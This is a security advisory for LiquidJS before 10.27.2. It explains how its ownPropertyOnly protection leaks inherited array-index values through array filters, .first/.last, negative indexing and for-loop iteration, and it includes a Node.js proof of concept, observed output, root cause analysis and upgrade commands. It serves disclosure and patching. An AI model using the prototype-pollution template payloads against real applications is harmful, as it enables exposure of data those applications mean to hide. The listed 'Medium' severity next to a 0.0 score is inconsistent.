Skip to content

GHSA-fwxr-j5w2-587m CVE-2026-106120

LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration

Medium npm
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.41%
Chance of exploitation in the next 30 days. Higher than 35.19% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
Fix
10.27.2
Upgrade liquidjs to this version or later

Description

Summary

LiquidJS’s ownPropertyOnly option is intended to prevent templates from reading inherited or prototype properties from scope data. With ownPropertyOnly: true, direct access such as:

{{ a[0] }}

correctly blocks an inherited array index. However, the same inherited value is still disclosed through:

.first
.last
negative indexing
for-loop iteration
first
last
join
reverse
slice
compact

Impact

This is an information disclosure issue when an application relies on ownPropertyOnly: true to safely render templates over untrusted or prototype-polluted scope data.

Object prototype property reads are blocked as expected, but inherited Array.prototype index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that ownPropertyOnly is expected to hide.

Proof of concept

const { Liquid } = require("liquidjs");

const engine = new Liquid({ ownPropertyOnly: true });

Array.prototype[0] = "ARRAY_PROTO_POLLUTED";
Object.prototype.secret = "OBJECT_PROTO_POLLUTED";

const a = [];
a.length = 1;

const o = {};

for (const [src, scope] of [
  ["{{ a[0] }}", { a }],
  ["{{ a[-1] }}", { a }],
  ["{{ o.secret }}", { o }],
  ["{{ a.first }}", { a }],
  ["{{ a.last }}", { a }],
  ["{{ a | first }}", { a }],
  ["{{ a | last }}", { a }],
  ["{{ a | join: ',' }}", { a }],
  ["{{ a | reverse | first }}", { a }],
  ["{{ a | slice: 0, 1 | join: ',' }}", { a }],
  ["{{ a | compact | join: ',' }}", { a }],
  ["{% for x in a %}[{{ x }}]{% endfor %}", { a }],
]) {
  console.log(src, "=>", JSON.stringify(engine.parseAndRenderSync(src, scope)));
}

delete Array.prototype[0];
delete Object.prototype.secret;

Observed behavior

{{ a[0] }}                                  => ""
{{ a[-1] }}                                 => "ARRAY_PROTO_POLLUTED"
{{ o.secret }}                              => ""
{{ a.first }}                               => "ARRAY_PROTO_POLLUTED"
{{ a.last }}                                => "ARRAY_PROTO_POLLUTED"
{{ a | first }}                             => "ARRAY_PROTO_POLLUTED"
{{ a | last }}                              => "ARRAY_PROTO_POLLUTED"
{{ a | join: ',' }}                         => "ARRAY_PROTO_POLLUTED"
{{ a | reverse | first }}                   => "ARRAY_PROTO_POLLUTED"
{{ a | slice: 0, 1 | join: ',' }}           => "ARRAY_PROTO_POLLUTED"
{{ a | compact | join: ',' }}               => "ARRAY_PROTO_POLLUTED"
{% for x in a %}[{{ x }}]{% endfor %}       => "[ARRAY_PROTO_POLLUTED]"

Expected behavior

When ownPropertyOnly: true is enabled, inherited array indices should be treated as absent, matching the behavior of:

{{ a[0] }}
{{ o.secret }}

Inherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.

Root cause

ownPropertyOnly appears to be enforced in readJSProperty(), but several array-element access paths use raw or native array operations instead.

Examples include:

negative indexing using obj[obj.length + key]
readFirst/readLast using obj[0] / obj[obj.length - 1]
filters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads
for-loop iteration materializing inherited array indices

Because these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when ownPropertyOnly is enabled.

Affected versions

npm

PackageVulnerableFixed in
liquidjs
< 10.27.2
10.27.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

liquidjs npm → 10.27.2

npm
npm install liquidjs@10.27.2
yarn
yarn add liquidjs@10.27.2
pnpm
pnpm add liquidjs@10.27.2

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

Weakness

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

How to prevent it
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-4r6h-5v86-94p3
LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process
High Also affects liquidjs
GHSA-m7fp-h3p4-hr49
LiquidJS has an infinite loop vulnerability in its `strip_html` filter
High Also affects liquidjs
GHSA-g357-x5c3-c72p
LiquidJS: `pop` filter bypasses `memoryLimit` accounting that its array-filter siblings enforce
High Also affects liquidjs
GHSA-gf2q-c269-pqgc
LiquidJS is Vulnerable to Remote Code Execution
Critical Also affects liquidjs
GHSA-r7g9-xpmj-5fcq
LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex
High Also affects liquidjs
GHSA-hh27-hf48-9f5q
LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)
High Also affects liquidjs
GHSA-9x9p-qf8f-mvjg
LiquidJS's `{% render %}` tag silently bypasses per-render `ownPropertyOnly:true` via `Context.spawn()`
Medium Also affects liquidjs
GHSA-8xx9-69p8-7jp3
LiquidJS has a renderLimit DoS guard bypass via empty `{% for %}` body
Medium Also affects liquidjs
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor